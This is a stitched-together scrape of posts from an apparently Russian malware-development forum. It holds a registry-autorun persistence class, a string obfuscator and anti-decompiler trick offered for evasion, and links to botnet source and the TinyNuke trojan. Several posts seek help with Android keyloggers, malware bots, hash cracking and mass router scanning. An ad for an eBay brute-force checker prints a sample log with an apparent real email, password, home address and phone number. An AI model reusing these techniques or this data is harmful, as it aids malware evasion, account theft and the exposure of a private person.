PLDR_DATA_TABLE_ENTRY pLdrTableEntry = (PLDR_DATA_TABLE_ENTRY)pListEntry;
do
{
if (lstrcmpiW((LPCWSTR)pLdrTableEntry->FullDllName.Buffer, L"kernel32.dll") == 0)
{
typedef void(WINAPI* xSleep)(DWORD);
xSleep pSleep = (xSleep)GetProcAddress((HMODULE)pLdrTableEntry->DllBase, "Sleep");
if (pSleep)
{
MessageBoxW(0, L"Found.", 0, MB_OK);
}
else
{
MessageBoxW(0, L"Not found.", 0, MB_OK);
}
}
pListEntry = pListEntry->Flink;
pLdrTableEntry = (PLDR_DATA_TABLE_ENTRY)(pListEntry->Flink);
} while (pLdrTableEntry->FullDllName.Buffer != NULL);
}
Но ловлю краш на моменте обращения к FullDllName. Подскажите пожалуйста, в чем проблема.
Доброго времени суток. Из исходников msdn собрал свой firewall по технологии
LSP(Layered Service Provider). Тестил на win 7 (x32,x64) - всё работает
прекрасно. Даже системные процессы захватывает, такие как lsass.exe, [System].
Проблемы начались когда тесты перешли на win 10. Библиотека перестала работать
с службами windows, только подхватывается обычными процессами(браузеры, игры).
После повторного, долгого и тщательного изучения документации выяснил
следующее:
On Windows Vista and later, an LSP can be classified based on how it interacts
with Windows Sockets calls and data. An LSP category is an identifiable group
of behaviors on a subset of Winsock SPI functions. For example, an HTTP
content filter would be categorized as a data inspector (the LSP_INSPECTOR
category).
An LSP may belong to more than one category. For example, a firewall/security
LSP could belong to both the inspector (LSP_INSPECTOR) and firewall
(LSP_FIREWALL) categories.
If an LSP does not have a category set, it is considered to be in the All
Other category. This LSP category will not be loaded in services or system
processes (for example, lsass, winlogon, and many svchost processes).
Источник: [https://docs.microsoft.com/en-us/wi...ng-layered-service-providers-
and-applications](https://docs.microsoft.com/en-
us/windows/win32/winsock/categorizing-layered-service-providers-and-
applications)
Чтобы заставить библиотеку работать с системными службами(services), я добавил
следующий код в инсталляторе(после вызова WSCInstallProviderAndChains):
Code:Copy to clipboard
DWORD lspCategory = 0xFFFFFFFF;
// DWORD lspCategory = LSP_SYSTEM | LSP_FIREWALL | LSP_INSPECTOR; // | LSP_REDIRECTOR | LSP_PROXY | ;
//| LSP_INBOUND_MODIFY | LSP_OUTBOUND_MODIFY | LSP_CRYPTO_COMPRESS; // | LSP_LOCAL_CACHE;
fprintf(stderr, "category: %d \n", lspCategory);
fprintf(stderr, "sizeof: %zd \n", sizeof(lspCategory));
rc = WSCSetProviderInfo(providerGuid, ProviderInfoLspCategories, (PBYTE)&lspCategory, sizeof(lspCategory), NULL, &error);
if (rc == SOCKET_ERROR) {
fprintf(stderr, "InstallProviderVista: %s failed: %d\n",
"WSCSetProviderInfo32", error);
goto cleanup;
}
Я пробовал значение lspCategory менять на LSP_SYSTEM, LSP_FIREWALL... на 0xFFFFFFFF. Пробовал просто оставить NULL. Но, увы мои попытки не увенчались успехом. Прошу помощи у тех, кто может разбирался в этом и знает в чем проблема?
Доброго времени суток.
Хотел бы узнать как работать с MFT. Конкретнее интересует как найти
расположение файлов на кластерах?
Как работает recuva или rstudio? Как он находит расположение файлов?
Хотел бы увидеть элементарный пример C# как найти файл на диске...
Which IDE do you use for C ++? especially in writing malware
Вопрос возник такой.
Поможет кто ответом?
Сегодня случайно обнаружил следующую фишку студии, что при оптимизациях она
сама вставляет в некоторых случаях функцию _memset.
Проект самый обычный, в котором выключен весь CRT, но оптимизатор студии из-за
этого как раз и не дает скомпилировать нашу программку.
Причем для этого достаточно такого кода:
C++:Copy to clipboard
int SomeFunc()
{
char* some_chars = (char*)HeapAlloc(GetProcessHeap(), 0, 1024);
for (int i = 0; i < 1024; ++i)
some_chars[i] = 0;
return some_chars[10];
}
При /Od все впорядке, но при /O1 или /O2 линкер будет жаловаться, что не находит _memset, можно ли как-то это пофиксить, чтобы оставить уровень оптимизации на /O1 или /O2, но выключить конкретно эту оптимизацию через _memset.
Можно конечно статически слинковать, но хотелось бы без этого или все-таки
студия сама окончательно погрязла в CRT?
#pragma comment(lib, "libvcruntime.lib")
Может кто знает, есть ли еще подобные подводные камни в студии?
Собственно вопрос как узнать минимальную версию винды на которой запустится exe?
В вижуал студии есть 2 тулсета(v142, v141_xp)
В комплекте со студией идет отдельная командная строка для нее, там есть
команда вида:
dumpbin /headers some.exe
В выводе есть "OPTIONAL HEADER VALUES", а в них есть "operating system
version" и "subsystem version", если собирать с v142 тулсетом, то оба
"operating system version" и "subsystem version" равны "6.0", если с v141_xp,
то они равны "5.01", если предположить что это NT версии винды, то 6.0 это
Vista и Server 2008, а 5.01 - XP и Server 2003
являются ли эти значения минимальной версией винды, на которой может запустится экзешник или нет? Если нет, то вопрос остается в силе.
Начал разбираться с compile-time вычислениями в С++. Написал такой код для хэширования(crc32) строчки:
Spoiler: Код
C++:Copy to clipboard
constexpr inline size_t str_bytes(const char* str)
{
size_t val = 0;
while (*str != NULL)
++val, ++str;
return val;
}
static uint32_t constexpr crc32_tab[] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};
constexpr inline uint32_t crc32_impl(uint32_t prevCrc, const char* str, size_t size)
{
return !size ? prevCrc : crc32_impl((prevCrc >> 8) ^ crc32_tab[(prevCrc ^ *str) & 0xff], str + 1, size - 1);
}
constexpr inline uint32_t crc32(const char* str)
{
return crc32_impl(0xffffffff, str, str_bytes(str)) ^ 0xffffffff;
}
template <typename Holder>
constexpr unsigned HashCalc(Holder str_holder)
{
constexpr auto str = str_holder();
constexpr unsigned hash = crc32(str);
return hash;
}
template <typename Holder>
constexpr unsigned HelperFunc(Holder hash_holder)
{
constexpr auto hash = hash_holder();
return hash;
}
#define Lambda(str) HelperFunc( [] { return HashCalc([](){ return str; }) ; } )
#define Lambda_No_Helper(str) HashCalc([](){ return str; })
Это мой main:
C++:Copy to clipboard
int main()
{
constexpr auto hashi = Lambda("UEFI");
auto NewHash = Lambda("invisible string");
auto NewHash1 = Lambda_No_Helper("visible string");
return NewHash;
}
Я хочу посчитать хэш строчки в компайл-тайме, чтобы сама строка в бинарнике
вообще не оставалась.
Но опять же constexpr не дает гарантий что все выполнится в компайл-тайме, он
только попробует, а если не сможет, то все будет выполняться в ран-тайме,
компиляторы могут оставить на ран-тайм большую рекурсию, даже если
теоретически могут посчитать результат.
Я все компилирую в дебаг режиме без оптимизаций, потому что смысл компайл-тайм вычислений в том, что независимо от оптимизаций все будет посчитано заранее, а в случае чего дебажить такой код и искать ошибку можно с помощью юнит тестов и static_assert'ов. В случае static_assert даже не понадобится компилировать код в студии, анализатор кода будет сразу выдавать предупреждения и ошибки, если конечно не начнет тупить.
В первом случае у меня генерится одна mov инструкция
constexpr auto hashi = Lambda("UEFI");
Во втором случае дохуя инструкций, наша лямбда сохраняется как объект в
памяти, но хэш посчитан, самой строчки в памяти нет и наша переменная не
constexpr
auto NewHash = Lambda("invisible string");
Вот сгенеренный студией асм:
Code:Copy to clipboard
xor eax,eax
mov byte ptr [ebp-101h],al
movzx ecx,byte ptr [ebp-101h]
push ecx
call HelperFunc<<lambda_e0a925145e7fb86677c7a8381733ecbb> > (0C3B710h)
add esp,4
mov dword ptr [NewHash],eax
Внутри HelperFunc куча мусора, но строка не хранится, сам хэш не считается, он уже посчитан в компайл-тайме и там снова по сути 1 mov инструкция
В третьем случае почему-то какой-то пиздец, есть лямбда, только другая,
строчка в памяти остается(можно проверить в дизасме студии или банальном
поиском в бинарнике через HxD), но при этом сам хэш посчитан в компайл-тайме(1
mov инструкция).
auto NewHash1 = Lambda_No_Helper("visible string");
Вот сгенеренный студией асм:
Code:Copy to clipboard
xor eax,eax
mov byte ptr [ebp-10Dh],al
movzx ecx,byte ptr [ebp-10Dh]
push ecx
call HashCalc<<lambda_eb46af9cfe8c58dca019aa0153dd5821> > (0C3B6B0h)
add esp,4
mov dword ptr [NewHash1],eax
Вот что внутри HashCalc:
Code:Copy to clipboard
//constexpr auto str = str_holder();
mov dword ptr [str],offset string "visible" (0AE4C18h)
//constexpr unsigned hash = crc32(str);
mov dword ptr [hash],25B2888Fh
//return hash;
mov eax,25B2888Fh
Например если компилировать с оптимизациями, то большинство проблем с хэшированием строк уйдут, объекты лямбд в силу их дальнейшего неиспользования в ран-тайме также уйдут, строчки не будут хранится, останется только хэш.
Но есть еще другой подход, реализацию которого я еще не смог придумать для нормальной работы со строчками и их хэшированием, поэтому покажу на примере чисел Фибоначи.
Spoiler: Новый Кот
C++:Copy to clipboard
// No-Constexpr meta programming approach
template<int I>
struct Fib
{
static const int val = Fib<I - 1>::val + Fib<I - 2>::val;
};
template<>
struct Fib<0>
{
static const int val = 0;
};
template<>
struct Fib<1>
{
static const int val = 1;
};
// Constexpr meta programming approach
template<int N>
constexpr int fibonacci() { return fibonacci<N - 1>() + fibonacci<N - 2>(); }
template<>
constexpr int fibonacci<1>() { return 1; }
template<>
constexpr int fibonacci<0>() { return 0; }
int main()
{
auto Fib_0 = Fib<46>::val;
constexpr auto Fib_1 = Fib<40>::val;
auto fibonacci_0 = fibonacci<46>();
constexpr auto fibonacci_1 = fibonacci<26>();
return 0;
}
Здесь 2 подхода, первый без constexpr, на шаблонных структурах, второй на
constexpr шаблонных функциях
Сразу скажу что первый подход обходит второй по всем пунктам.
Во-первых функция fibonacci<>() не может посчитать последовательность после 27
числа. max_input = 26.
То есть такая строчка просто не скомпилируется(по крайней у меня и с
компилятором от майков, а не клангом)
constexpr auto fibonacci_1 = fibonacci<27>();
Ошибка гласит что выражение не может преобразовано в константу(LOL).
При этом же в этой строке студия выдает предупреждение C26498, в котором
говорится что наша функция constexpr, пометьте переменную fibonacci_0 как
constexpr, если нужно вычисление в компайл-тайме, однако это невозможно, т.к.
max_input = 26.
auto fibonacci_0 = fibonacci<46>();
Также стоит отметить, что наше 46 число фибоначи будет считаться очень долго и
в ран-тайме, в отличие от первого подхода.
В первом же подходе все просто, в компайл-тайме все посчиталось и стоят две mov инструкции, вот асм код для main:
Code:Copy to clipboard
//auto Fib_0 = Fib<46>::val;
mov dword ptr [Fib_0],6D73E55Fh
//constexpr auto Fib_1 = Fib<40>::val;
mov dword ptr [Fib_1],6197ECBh
//auto fibonacci_0 = fibonacci<46>();
call fibonacci<46> (08E192Eh)
mov dword ptr [fibonacci_0],eax
//constexpr auto fibonacci_1 = fibonacci<26>();
mov dword ptr [fibonacci_1],1DA31h
//return 0;
xor eax,eax
А на этом мое сравнение заканчивается.
Недавно наткнулся на хидер <ktmw32.h> и прочие, в которых есть функции
CreateFileTransacted, RegCreateKeyTransacted, CreateTransaction и тд.
Каковы их преимущества и недостатки в общем и по сравнению с идентичными
функциями без постфикса Transacted?
Понял что так как это все транзакционное, то здесь используется и выполняется
принцип ACID(Atomicity, Consistency, Isolation, Durability).
Хочется понять в каких случаях имеет смысл юзать CreateFileTransacted, а в
каких просто CreateFile, помимо того что первое работает начиная только с
висты.
C:Copy to clipboard
/*
Описание:
Функция хеширует ANSI строку по алгоритму MD5, на выходе выдавая хеш в представлении UNICODE строки.
Параметры:
LPWSTR lpDestination - буффер, в который будет передана строка с хешем.
LPSTR lpString - ANSI строка, которую требуется хешировать.
Завершение:
При завершении функция возвращает результат её исполнения в виде переменной типа bool.
*/
bool MD5(LPWSTR lpDestination, LPSTR lpString)
{
bool bRet = false;
WCHAR wszHash[MD5_MAX_LENGTH + 1] = { 0 };
BYTE bHash[MD5_MAX_LENGTH / 2] = { 0 };
DWORD dwDataLength = MD5_MAX_LENGTH;
LPWSTR lpCharList = L"0123456789abcdef";
LPWSTR lpFormat = L"%c%c";
do
{
if (!CryptCreateHash(hProv, CALG_MD5, NULL, 0, &hHash))
{
#ifdef __DEBUG
DebugMessage(L"Crypt::MD5() - can't create hash.");
#endif
break;
}
if (!CryptHashData(hHash, (LPBYTE)lpString, StringUtils::StringLengthA(lpString), 0))
{
#ifdef __DEBUG
DebugMessage(L"Crypt::MD5() - can't hash data.");
#endif
break;
}
if (!CryptGetHashParam(hHash, HP_HASHVAL, bHash, &dwDataLength, 0))
{
#ifdef __DEBUG
DebugMessage(L"Crypt::MD5() - can't get hash value.");
#endif
break;
}
for (int i = 0; i < dwDataLength; i++)
{
WCHAR wszHashPart[3] = { 0 };
if (!wsprintfW(wszHashPart, lpFormat, lpCharList[bHash[i] >> 4], lpCharList[bHash[i] & 0xf]))
{
#ifdef __DEBUG
DebugMessage(L"Crypt::MD5() - can't format hash part.");
#endif
break;
}
StringUtils::StringAppendW(wszHash, wszHashPart);
}
wszHash[MD5_MAX_LENGTH + 1] = 0;
bRet = true;
} while (false);
StringUtils::StringCopyW(lpDestination, wszHash);
return bRet;
}
Создаём класс Protector.cs
C#:Copy to clipboard
public class Protector
{
public static void ReplaceData(string filename, int position, byte[] data)
{
using (Stream stream = File.Open(filename, FileMode.Open))
{
stream.Position = position;
stream.Write(data, 0, data.Length);
}
}
}
Используем так:
C#:Copy to clipboard
ReplaceData(filename, 0xF4, new byte[] { 0x9 });
После запуска в рефлекторе будет не читаемый файл.
Вожусь с этой проблемой уже часов 4.
Хочу добавить png картинку и сделать из нее кнопку.
Но при добавлении png картинки появляется белый фон.
Как это можно исправить??
ps
я в шарпе вообще не силен, захотелось сделать красивый фейковый софт, а по
скольку красиво я умею делать только в фигме, то приходится импортировать
куски png в студию.
Написал класс для добавления программы в автозагрузку через реестр:
C#:Copy to clipboard
using Microsoft.Win32;
using System;
/* Author r3xq1 */
public class Registration
{
private const string REG = @"Software\Microsoft\Windows\CurrentVersion\Run";
public static void Inizialize(bool enable, string name, string localpath)
{
try
{
RegistryHive registryHive = RunChecker.IsAdmin ? RegistryHive.LocalMachine : RegistryHive.CurrentUser;
RegistryView registryView = RunChecker.IsWin64 ? RegistryView.Registry64 : RegistryView.Registry32;
using (var registry = RegistryKey.OpenBaseKey(registryHive, registryView))
{
using (RegistryKey runKey = registry.OpenSubKey(REG, RunChecker.IsWin64))
{
if (!enable)
{
try
{
runKey?.DeleteValue(name);
}
catch { }
}
else
{
try
{
runKey?.SetValue(name, localpath);
}
catch { }
}
}
}
}
catch (Exception) { }
}
}
Класс для проверки админ прав и битность системы
C#:Copy to clipboard
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;
public class RunChecker
{
public static bool IsAdmin => new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
public static bool IsWin64 => Environment.Is64BitOperatingSystem ? true : false;
}
Использовать очень просто
Добавить в реестр: Registration.Inizialize(true, "Test", @"D:\AntiWinlocker.exe");
Удалить из реестра: Registration.Inizialize(false, "Test", @"D:\AntiWinlocker.exe");
Проверим что всё работает
Spoiler: Запуск без Админ прав
Spoiler: Запуск с Админ правами
По стандарту можно сделать так:
C#:Copy to clipboard
public static void Standart(string regpath, string name, string path_to_file)
{
try
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(regpath, true))
{
try
{
key.SetValue(name, path_to_file);
}
catch (Exception) { }
}
}
catch (Exception) { }
}
Используется так:
C#:Copy to clipboard
Standart(@"Software\Microsoft\Windows\CurrentVersion\Run", "Test", @"D:\AntiWinlocker.exe"); // Разумеется используйте свои данные.
Код для шифрования:
C#:Copy to clipboard
/* Author r3xq1 */
namespace MonoStringObf
{
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using Mono.Cecil;
using Mono.Cecil.Cil;
public class Obfuscation
{
private static string Encode(string str) => Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(str));
private static MethodDefinition InjectDecrypter(AssemblyDefinition AssemblyDef)
{
foreach (ModuleDefinition ModuleDef in AssemblyDef.Modules)
{
foreach (TypeDefinition TypeDef in ModuleDef.GetTypes())
{
if (TypeDef.Name.Equals("<Module>"))
{
MethodDefinition MethodDef = CreateDecrypter(AssemblyDef);
TypeDef.Methods.Add(MethodDef);
return MethodDef;
}
}
}
throw new Exception("Decrypter not injected.");
}
private static void Encrypt(AssemblyDefinition AssemblyDef, MethodDefinition MD, string filename)
{
foreach (ModuleDefinition ModuleDef in AssemblyDef.Modules)
{
foreach (TypeDefinition TypeDef in ModuleDef.GetTypes())
{
foreach (MethodDefinition MethodDef in TypeDef.Methods)
{
if (MethodDef.HasBody)
{
ILProcessor ilp = MethodDef.Body.GetILProcessor();
for (int i = 0; i < MethodDef.Body.Instructions.Count; i++)
{
Instruction InstructionDef = MethodDef.Body.Instructions[i];
if (InstructionDef.OpCode == OpCodes.Ldstr)
{
InstructionDef.Operand = Encode(InstructionDef.Operand.ToString());
ilp.InsertAfter(InstructionDef, Instruction.Create(OpCodes.Call, MD));
}
}
}
}
}
}
AssemblyDef.Write(filename);
}
private static MethodDefinition CreateDecrypter(AssemblyDefinition AssemblyDef)
{
var Decrypt = new MethodDefinition("Decrypt", MethodAttributes.Public | MethodAttributes.Static, AssemblyDef.MainModule.ImportReference(typeof(string)));
Decrypt.Parameters.Add(new ParameterDefinition(AssemblyDef.MainModule.ImportReference(typeof(string))));
var Body = new List<Instruction>
{
Instruction.Create(OpCodes.Call, AssemblyDef.MainModule.ImportReference(typeof(System.Text.Encoding).GetMethod("get_UTF8"))),
Instruction.Create(OpCodes.Ldarg_0),
Instruction.Create(OpCodes.Call, AssemblyDef.MainModule.ImportReference(typeof(System.Convert).GetMethod("FromBase64String", new Type[] { typeof(string) }))),
Instruction.Create(OpCodes.Callvirt, AssemblyDef.MainModule.ImportReference(typeof(System.Text.Encoding).GetMethod("GetString", new Type[] { typeof(byte[]) }))),
Instruction.Create(OpCodes.Ret)
};
foreach (Instruction Instr in Body)
{
Decrypt.Body.Instructions.Add(Instr);
}
return Decrypt;
}
public static bool Inizialize(string filepath, string outputfilename)
{
try
{
using (var AssemblyDef = AssemblyDefinition.ReadAssembly(filepath))
{
Encrypt(AssemblyDef, InjectDecrypter(AssemblyDef), outputfilename);
MessageBox.Show("Файл успешно зашифрован!");
return true;
}
}
catch { MessageBox.Show("Не смогли зашифровать."); return false; }
}
}
}
Используется так:
C#:Copy to clipboard
Obfuscation.Inizialize(this.FileBoxPath.Text, $"{this.OutPutBox.Text}.exe"); // this.OutPutBox.Text - Текстбокс
Выглядит это всё так:
После шифрования текст выглядит так: ( Файл не ломается )
Ну и конечноe выложу готовый шифровальщик: используйте для своих нужд.
Ссылка на архив: Mono String
Obfuscation
Доп ссылка на архив: Yandex-
Disk
пришлось поработать с COM обьектом ITaskService. суть в том, что пытаюсь сделать следующее:
C++:Copy to clipboard
if (!SUCCEEDED(ITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t())))
{
break;
}
Но в итоге получаю ошибки:
Error 2 error LNK2001: unresolved external symbol __EH_prolog xxx\com.obj
Error 3 error LNK2001: unresolved external symbol ___CxxFrameHandler3 xxx\com.objClick to expand...
подскажите пожалуйста, как это лечится. необходимые либы - подключены ( taskschd, comsupp ), соотв. инклуды тоже. спасибо.
Кто хоть раз делал на нативном уровне перебор хеша через GPU с использованием CUDA для NVIDIA и OpenCL для AMD на нативном уровне через nvml.dll и atiadlxx.dll соответственно с использованием внешних функций cpp npp.
Имею приблизительное понимание и пару примеров сделал, но до конца не разобрался, может у кого есть простые примеры для теста, чтобы уловить суть методики на c++ или delphi? Вообще кто нить разбирался с этим более подробно?
Добрый день! Имею программу-сканер ип на модель роутера. Перебирает ип лист и
при нахождении нужной модели выписывает ее в отдельный файл.
Такой вопрос: программа работает уверенно, но не так быстро как хотелось бы!
Возможно ли проблема в провайдере? Слышал что есть специальные хостинги под
скан - это могло бы улучшить дело?
Но я подразумеваю, что в процессе скана например 192.0.0.0-192.999.9.9 моя
программа к концу первого диапазона 192.0.0.0 прибавляет 1 - 192.0.0.1, и так
пока не доберется до 192.999.9.9, каждое ип сканируется через фор после
прибавления на модель роутера.
Что можно сделать для ускорения процесса?
Продам brute-cheker EBAY хорошая скорость рабоет на socks5-4
Log type :
Authorization:
jguiness@hotmail.co.uk:cliokia1993
UserID: traeytony
Address: 150 cherry orchard road birmingham, West Midlands b20 2ng United
Kingdom +44 01212405407
Country: GB
Feedback score: 23
Seller: No
PayPal: No
Credit CC: No
telegram;@Ebaysoft skype;live:ypravila
Sell brute-cheker EBAY good speed running on socks5-4
Доброго времени суток уважаемые форумчане, как старички так и новобранцы (=
Собсна, суть моего топика видна в заголовке, но важен такой момент.. "я только
учусь" по этому, нужны такие исходники, которые я смогу осилить, дабы не
разочароваться в своих силах и навыках.
Так же приветствуется любая критика и помощь, если у вас есть время / желание.
Возможно где-то я не усмотрел тем с подобными запросами, буду признателен за
линки.
p.s
возможно, ошибся с разделом, если так - перенесите в нужный, не в службу ^^
Hidden content for authorized users.
](https://anonfile.com/wds062v5b5/_Source_C_BearLdr_botnet_with_c_c_in_ViKontakt_zip)
anonfile.com
Нужна помощь в снятии VMProtect и снятии простой защиты.
Сам я ничего в этом не понимаю вот и ищу помощь у добрых людей.
Дискорд ( ГлавШкила#1886 ) для связи или отписывайте в теме.
VK
Всем привет! Заинтересовала разработка малвари под андроид. В общем и целом почитал, что и как... Но может кто-нибудь подкинет годных статей для изучения?
del
пара хэшей
e5ce6b5f12b5a9d8673ec6a7b1faa18c:j85sQqcJBmNS6FoZXPYDlw1qBNwea5am
aa7ce361b70adc4f374e31833cd3c271:vPODqLv4YNF2vXctliIHQJghTO1gOKxL
или может кто подсказать платные сервисы?
Вообщем смотрел функционал многих ботов, но очень редко где встречается работа
с email
Вот к примеру обзорчик по ботам [тынц](https://github.com/wishihab/Android-
RATList)
Посему хочу спросить есть ли возможность парсить, удалять, отправлять через
дефолтный email клиент ?
Всем привет.Как узнать запущено приложение на Android или нет? Например ватсап телеграм,в каком приложение вводиться текст. Есть набросок простенький кастомной клавиатуры, пишет лог в фаил, но пишет всё подряд без определения. Подскажите где искать более менее актуальную инфу.Если есть кто хочет влиться по изучать, милости прошу. Добьёмся своего - будем помогать таким же новичкам как мы. Не проходите мимо.
Я ищу разработчика для Android проекта, у меня есть хороший бюджет для этого!
I'm looking for a developer for the Android project, I have a good budget for this!
jabber: Succubu@exploit.im
Telegram: ceancorp
Привет. У меня проблема с компиляцией apk, именно с ботом xerxes. Я получаю сообщение об ошибке при попытке компиляции\
Code:Copy to clipboard
I: Using Apktool 2.4.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
S: WARNING: Could not write to (C:\Users\user\AppData\Local\apktool\framework), using C:\Users\user\AppData\Local\Temp\ instead...
S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = -1073741515): [C:\Users\user\AppData\Local\Temp\brut_util_Jar_4456968671662166243.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 21, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, C:\Users\user\AppData\Local\Temp\APKTOOL256819758087216239.tmp, -0, arsc, -0, png, -0, arsc, -I, C:\Users\user\AppData\Local\Temp\1.apk, -S, C:\Users\user\Desktop\app\res, -M, C:\Users\user\Desktop\app\AndroidManifest.xml]
Здравствуйте ребята,решил вообщем разобраться с TinyNuke ...Установил на виртуалке denwer добавил туда папку с panel .Дальше по инструкции запустил TinyNuke.sln и изменил Strs::host[0] = ENC_STR_A"127.0.0.1"END_ENC_STR; Strs::host[1] = ENC_STR_A"backup-server"END_ENC_STR; Strs::host[2] = 0; После чего попытался получить бинарники которые нужно добавить в setting.php но у меня повыскакивали ошибки
подскажите что не так,сори если что-то не так написал ,я новичек) вот исходники этого малваря https://github.com/rossja/TinyNuke
Привет Всем!
Поделюсь с вами две исходник который кому то может понадобится.
**
**
**2) Shutdown XE
You must have at least 5 reaction(s) to view the content.
Поиск разработчика в C ++ - это простой, легкий и быстрый проект
Searching for a developer in C ++ is a simple project, easy and fast money
Требуется бот для автоматизированных ставок у брокера бинарных опционов.
Задачи бота:
Бот должен состоять из серверной части и исполняемого файла в формате js
скрипта.
В серверной части необходима функция внесения ip адреса для работы js скрипта
(при изменении ip скрипт перестаёт работать)
Необходимые настройки js скрипта через всплывающую панель:
После ввода этих данных в консоли должно отображаться следующее:
Также при ставке вверх/вниз бот должен прекращать делать ставки до завершения прошлой. (при ставке в консоли появляется надпись : ставка вверх/вниз).
исходники:
Telegraph ](https://github.com/Egolds/botnet_telegraph_csharp)
Ботнет на c# управляемый через Telegraph. Contribute to Egolds/botnet_telegraph_csharp development by creating an account on GitHub.
github.com
В гольфе выигрывает тот, у кого меньше очков.
Применим этот принцип в Android. Мы собираемся поиграть в APK-гольф и создать приложение минимально возможного размера, которое можно установить на Android 8.0 Oreo.
Базовый уровень
Начнём с дефолтного приложения, который генерирует Android Studio. [Создадим
хранилище ключей](https://developer.android.com/studio/publish/app-
signing.html#generate-key), подпишем приложение и измерим размер файла в
байтах командой stat -f%z $filename
.
Затем установим APK на смартфон Nexus 5x под Oreo, чтобы убедиться, что всё работает.
Прекрасно. Наш APK весит примерно полтора мегабайта.
APK Analyser
